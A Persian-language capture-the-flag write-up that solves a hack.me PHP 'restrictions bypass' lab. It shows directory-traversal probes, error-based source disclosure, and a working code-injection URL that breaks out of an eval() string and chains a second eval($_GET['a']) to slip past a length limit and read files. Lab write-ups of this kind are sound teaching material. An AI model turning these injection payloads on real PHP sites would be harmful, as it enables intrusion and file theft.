با سلام، سایت http://hack.me یک سایت وابسته به شرکت امنیتی eLearnSecurity میباشد که انشالله در پستی جداگانه این شرکت را خدمت شما معرفی خواهم کرد. در این سایت، چالشهای زیادی با سختیهای مختلف وجود دارد. حل یکی از این چالشها را برای این پست در نظر گرفتهام. پیش از آنکه وارد جزئیات مربوط به حل این پیکار شویم، پیشنهاد میکنم نگاهی به سوال بیندازید:
https://hack.me/102100/restrictions-bypass-php.html
خوب با ورود به پیکار، صفحه HTML ای به کاربر نمایش داده میشود، با کلیک بر روی تنها لینک صفحه، کاربر به صفحه download.php منتقل میشود:
http://s30085-102100-6pv.sipontum.hack.me/download.php?file=files/read_me.txt
این صفحه ورودی با نام file دریافت میکند. به نظر شما اولین تستی که در این مرحله باید انجام شود چیست؟ با توجه به URL میتوان حدس زد که download.php ورودی فایل را دریافت کرده و محتوای آن را نمایش میدهد. برای مثال چنین سورسی قابل پیشبینی است:
<?php $file = $_GET['file'] ... ... some checking ... echo file_get_contents($directory . $file); ?>
وجود لینک زیر نیز مهر تائیدی است بر اینکه directory$ خالی میباشد.
http://s30085-102100-6pv.sipontum.hack.me/files/read_me.txt
در اولین مرحله باید آزمون Directory Traversal انجام پذیرد:
http://s30085-102100-6pv.sipontum.hack.me/download.php?file=files/../files/read_me.txt
لینک بالا منجر به باز شدن فایل read_me.txt میشود پس میتوان نتیجه گرفت که آسیبپذیری Directory Traversal نیز موجود است. پس لینک زیر باید منجر به بارگزاری فایل index.php شود:
http://s30085-102100-6pv.sipontum.hack.me/download.php?file=../index.php
اما جواب دریافتی Not the right way است. همچنین:
مشخص میکند که با توجه به پیغام File name too long. محدودیت طول در ورودی file وجود دارد. فرستادن درخواست زیر:
http://s30085-102100-6pv.sipontum.hack.me/download.php?file[]=files/read_me.txt
سرور جواب زیر را میدهد:
Warning: strlen() expects parameter 1 to be string, array given in C:\inetpub\wwwroot\coliseum\client\sandbox\30085-102100\BODY\inner\download.php on line 8 Warning: basename() expects parameter 1 to be string, array given in C:\inetpub\wwwroot\coliseum\client\sandbox\30085-102100\BODY\inner\download.php on line 11 Warning: strpos() expects parameter 1 to be string, array given in C:\inetpub\wwwroot\coliseum\client\sandbox\30085-102100\BODY\inner\download.php on line 13 Not the right way.
منجر به افشای جزئیاتی راجع به سورس پرونده download.php میشود:
با بررسیهای بهعمل آمده مخشص گردید که عدم موجود عبارت about_me در ورودی فایل منجر به ایجاد خطا میشود. با انجام فازینگ بر روی ورودی فایل:
http://s30085-102100-6pv.sipontum.hack.me/download.php?file=files/read_me.txt%27
و جواب سرور:
Warning: readfile(files/read_me.txt') [function.readfile]: failed to open stream: No such file or directory in C:\inetpub\wwwroot\coliseum\client\sandbox\30085-102100\BODY\inner\download.php on line 18 Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in C:\inetpub\wwwroot\coliseum\client\sandbox\30085-102100\BODY\inner\download.php(21) : eval()'d code on line 1
تابع eval مشخص میکنم که ورودی file در دو تابع readfile و eval قرار میگیرد. سورس پیشبینی شده برای eval بهصورت زیر است:
<?php eval("PHPCODE...function('$file')...PHPCODE"); ?>
بهدلیل اینکه کوتیش تزریق شده منجر به break شدن رشته شده (عدم وجود تابع escape کننده برای رشته ورودی) که این امر منجر به امکان تغییر کد PHP در تابع eval میباشد. شرایطی که باید برای تزریق کد برقرار باشد:
برای محقق شدن مورد سوم، کافی است تعداد کافی پرانتز را برای بستن توابع موجود در eval به کار برد:
لینک بالا مجر به اجرا شدن تکه کدهای PHP و در نتیجه چاپ voorivex میشود. حال برای خواندن سایر صفحات، نیاز به دور زدن محدودیت طول ودودی فایل میباشد، برای این امر کافی است ورودی دیگری در کد تعریف کرده، و آن به را تابع eval دیگری ارجاع دهیم تا محدودیت طول برداشته شود:
حال تمامی کدهای تزریق شده بدون وجود محدودیت طول در سمت سرور اجرا میشود.
با خواندن دو صفحه اصلی و گرفتن لیست از پوشه اصلی، پیکار به راحتی حل میشود:
<?php if(isset($_POST['genflag'])) { $name = @$_POST['name']; $key = @$_POST['key']; if(!$key || !$name) exit("<br /><br />Error! Key or name cannot be empty."); if(strpos($key,base64_decode("NjcyOTY0OTg3N2E1NDI4M2YxZDgxYmEwOTRkOWJmYWM=")) !== false) exit("<br /><br />Error! This is NOT the required key.<br />But you going in the right direction... Keep moving."); //don't try to crack the hash to find solution - this is not the valid solution //and you will fail miserably, as the key is long enough if(md5($key) !== "0c3933bb1a3d63c356d2f7e2606bd794") exit("<br /><br />Error! This is NOT the required key. Try again."); $hashedKey = md5(md5($name.$key)); $flag = base64_encode($name.":".$hashedKey); echo "<br /><br />Your flag is: " . $flag; echo "<br />You can submit this now."; } ?>
http://s30085-102100-6pv.sipontum.hack.me/download.php?file=/read_me&amp;#x27;);eval($_GET[&amp;#x27;a&amp;#x27;]);print(&amp;#x27;&amp;amp;a=var_dump(file_get_contents(&amp;#x27;download.php&amp;#x27;));
<?php //well done, you have successfully completed the first step! //Just one more step to capture the flag... Good luck. $file = @$_GET['file']; if(strlen($file) > 50) exit("File name too long."); $fileName = basename($file); if(!strpos($file, "read_me")){ exit("Not the right way."); } echo "<pre>"; readfile($file); echo "</pre>"; eval("fwrite(fopen('stats/stats.txt','a'),'$fileName');"); ?>"
Array ( [0] => . [1] => .. [2] => 6729649877a54283f1d81ba094d9bfac.key [3] => download.php [4] => files [5] => flag.php [6] => index.php [7] => stats )
و در نهایت:
http:/s30085-102100-6pv.sipontum.hack.me/download.php?file=/read_me&amp;#x27;);eval($_GET[&amp;#x27;a&amp;#x27;]);print(&amp;#x27;&amp;amp;a=var_dump(file_get_contents(&amp;#x27;6729649877a54283f1d81ba094d9bfac.key&amp;#x27;));
که منجر به افشای کلید شده:
Congratulations! Your key is: dzNsbGQwbmUuLi4hIQ==
با وارد کردن کلید و اسم خود در صفحه flag.php، پیکار به اتمام میرسد.